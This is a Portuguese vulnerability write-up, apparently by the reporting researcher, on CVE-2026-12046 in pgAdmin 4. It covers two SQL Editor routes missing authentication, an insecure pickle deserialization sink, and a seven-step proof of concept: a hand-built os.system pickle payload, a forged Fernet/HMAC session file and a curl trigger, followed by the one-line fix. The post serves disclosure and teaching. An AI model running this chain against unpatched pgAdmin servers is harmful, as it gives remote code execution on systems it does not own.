CVE-2026-12046 — RCE pré-autenticado no pgAdmin 4: autenticação ausente e desserialização pickle no SQL Editor
1. Introdução
Esse artigo faz parte de uma série sobre as vulnerabilidades que reportei no pgAdmin 4. Recomendo ler o artigo introdutório antes de continuar — ele traz um resumo de todas as CVEs com a tabela de severidade.
A CVE-2026-12046 tem CVSS 9.0 (Crítica), o segundo mais alto do conjunto. Ela combina dois problemas: autenticação ausente em rotas do SQL Editor e desserialização insegura de pickle — o mesmo pickle.loads que aparece na CVE-2026-7818, mas aqui em um contexto diferente (o dado da sessão relacionado ao editor SQL) e com um vetor de ataque que parte de fora da aplicação, sem credenciais.
O AC:H no vetor CVSS reflete que a exploração exige pré-condições não triviais: a SECRET_KEY do pgAdmin e acesso de escrita ao diretório de sessões. Essas condições juntas normalmente implicam comprometimento parcial do servidor já antes da exploração. Mesmo assim, considero importante reportar porque o decorator de autenticação ausente é uma inconsistência que cria superfície de ataque desnecessária — e quando essas condições se alinham (backup exposto, storage mal configurado), a ausência desse gate é o salto que transforma um comprometimento parcial em execução de código sem autenticação.
Aviso: o conteúdo aqui é exclusivamente educacional. A falha já foi corrigida na versão 9.16 do pgAdmin 4.
2. O problema: rotas sem autenticação no SQL Editor
O blueprint do SQL Editor em web/pgadmin/tools/sqleditor/__init__.py registra dezenas de rotas, e quase todas têm o decorator @pga_login_required. Mas durante a revisão do código, encontrei duas que não tinham:
# web/pgadmin/tools/sqleditor/__init__.py — antes da correção
@blueprint.route('/close/<int:trans_id>', methods=["DELETE"], endpoint='close')
# <- sem @pga_login_required
def close(trans_id):
"""Fecha uma sessão do SQL Editor."""
...
close_sqleditor_session(trans_id)
...
@blueprint.route(
'/initialize/sqleditor/update_connection/<int:sgid>/<int:sid>/<int:did>',
methods=['POST'], endpoint='update_connection'
)
# <- também sem @pga_login_required
def update_connection(sgid, sid, did):
...
Para comparar, os endpoints adjacentes no mesmo arquivo:
# Linha 183 — com decorator
@pga_login_required
@blueprint.route('/initialize/sqleditor/<int:trans_id>/', ...)
def initialize_sqleditor(trans_id):
...
# Linha 196 — com decorator
@pga_login_required
@blueprint.route('/execute/query/<int:trans_id>', ...)
def execute_query(trans_id):
...
A ausência do decorator nessas duas rotas significa que em server mode, qualquer requisição HTTP chega ao handler — com ou sem sessão autenticada.
3. O sink de desserialização
Dentro de close(), a função close_sqleditor_session chama:
# web/pgadmin/tools/sqleditor/__init__.py — linha ~807
def close_sqleditor_session(trans_id):
...
cmd_obj_str = session['gridData'][str(trans_id)]['command_obj']
# Use pickle.loads function to get the command object
cmd_obj = pickle.loads(cmd_obj_str)
...
O problema em si é um missing authentication protecting a deserialization sink. Para transformar isso em RCE, o atacante precisa controlar o conteúdo de session['gridData'][trans_id]['command_obj'] — ou seja, precisa criar um arquivo de sessão malicioso e fazer o pgAdmin carregá-lo.
4. A cadeia de exploração completa
A exploração em v9.15 (com Fernet e HMAC nas sessões) é em 7 passos.
Passo 1: Obter o csrfToken pré-autenticado
Mesmo sem credenciais, GET /login retorna a página de login com o csrfToken embutido no JavaScript. Esse token é necessário para a requisição de disparo da desserialização:
CSRF_SIGNED=$(curl -s http://TARGET/login \
| grep -oP '"csrfToken"\s*:\s*"\K[^"]+')
Passo 2: Decodificar o csrfToken com a SECRET_KEY
O csrfToken é um token URLSafeTimedSerializer assinado com a SECRET_KEY do Flask. Com a SECRET_KEY em mãos (obtida do pgadmin4.db no DATA_DIR), é possível decodificá-lo para obter o valor bruto que o pgAdmin armazenaria na sessão como csrf_token:
from itsdangerous import URLSafeTimedSerializer
import hashlib
s = URLSafeTimedSerializer(
SECRET_KEY,
salt="wtf-csrf-token",
signer_kwargs={"digest_method": hashlib.sha256},
)
raw_csrf = s.loads(csrf_signed_token, max_age=None)
Passo 3: Construir o payload pickle
O objetivo é um payload que execute código quando desserializado e devolva um objeto que close_sqleditor_session consiga processar sem lançar exceção (para o servidor retornar HTTP 200 e não HTTP 500):
import pickle, io, os
def make_rce_payload(cmd):
buf = io.BytesIO()
buf.write(b'\x80\x02')
buf.write(b'cos\nsystem\n')
buf.write(b'(V' + cmd.encode('utf-8') + b'\ntR0')
buf.write(b'ctypes\nSimpleNamespace\n')
buf.write(b')R')
buf.write(b'}(Vconn_id\nNVconn_id_ac\nNub')
buf.write(b'.')
return buf.getvalue()
evil_bytes = make_rce_payload(
"touch /tmp/pgadmin_rce_confirmed && id > /tmp/pgadmin_rce_output"
)
O types.SimpleNamespace(conn_id=None, conn_id_ac=None) é o tipo que close_sqleditor_session espera como retorno de pickle.loads — isso garante que o handler encerre normalmente e retorne HTTP 200.
Passo 4 e 5: Forjar e escrever o arquivo de sessão
Com a SECRET_KEY, é possível construir um arquivo de sessão v9.15 válido (formato: HMAC_hex || Fernet_encrypt(pickle((randval, cookie_hmac, session_data)))):
import pickle, base64, hashlib, hmac as _hmac, secrets, uuid
from cryptography.fernet import Fernet
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.hkdf import HKDF
# Derivar chave Fernet a partir da SECRET_KEY (mesmo algoritmo do session.py)
km = SECRET_KEY.encode()
derived = HKDF(
algorithm=hashes.SHA256(),
length=32,
salt=b'pga-session-body-v1',
info=b'pgadmin session body encryption v1',
).derive(km)
fernet = Fernet(base64.urlsafe_b64encode(derived))
TRANS_ID = 9999
sid = str(uuid.uuid4())
randval = ''.join(secrets.choice('abcdefghijklmnopqrstuvwxyz0123456789') for _ in range(20))
cookie_hmac = base64.b64encode(
_hmac.new(km, f"{sid}:{randval}".encode(), hashlib.sha256).digest()
).decode()
session_data = {
"csrf_token": raw_csrf,
"gridData": {
str(TRANS_ID): {"command_obj": evil_bytes}
}
}
plaintext = pickle.dumps((randval, cookie_hmac, session_data), -1)
body = fernet.encrypt(plaintext)
file_hmac = _hmac.new(km, body, hashlib.sha256).hexdigest().encode()
file_bytes = file_hmac + body
Esse arquivo é então escrito no diretório de sessões do container:
import subprocess, base64
encoded = base64.b64encode(file_bytes).decode()
dest = f"/var/lib/pgadmin/sessions/{sid}"
write_py = (
f"import base64, os; "
f"data = base64.b64decode('{encoded}'); "
f"fd = os.open('{dest}', os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600); "
f"os.write(fd, data); os.close(fd)"
)
subprocess.run(["docker", "exec", CONTAINER, "/venv/bin/python3", "-c", write_py])
Passo 6: Disparar a desserialização
Com o arquivo de sessão no lugar, a requisição para o endpoint sem autenticação:
curl -X DELETE "http://TARGET/sqleditor/close/$TRANS_ID" \
-H "Cookie: pga4_session=${sid}!${cookie_hmac}" \
-H "X-pgA-CSRFToken: $CSRF_SIGNED" \
-H "Accept: application/json"
Passo 7: Verificar o RCE
docker exec pgadmin4_container cat /tmp/pgadmin_rce_output
# uid=5050(pgadmin) gid=0(root) groups=0(root)
# b30b56025015
HTTP 200 e código executado.
5. A correção
A correção foi uma linha em cada uma das duas rotas vulneráveis: adicionar @pga_login_required antes do handler, igualando-as a todas as outras rotas do módulo.
# Depois da correção
@blueprint.route('/close/<int:trans_id>', methods=["DELETE"], endpoint='close')
@pga_login_required # <- adicionado
def close(trans_id):
...
@blueprint.route(
'/initialize/sqleditor/update_connection/<int:sgid>/<int:sid>/<int:did>',
methods=['POST'], endpoint='update_connection'
)
@pga_login_required # <- adicionado
def update_connection(sgid, sid, did):
...
Com o decorator no lugar, a cadeia is_authenticated / MFA roda antes de qualquer acesso à sessão ou ao trans_id, e um atacante sem sessão válida recebe redirecionamento para /login.
Referência: pgadmin4#10072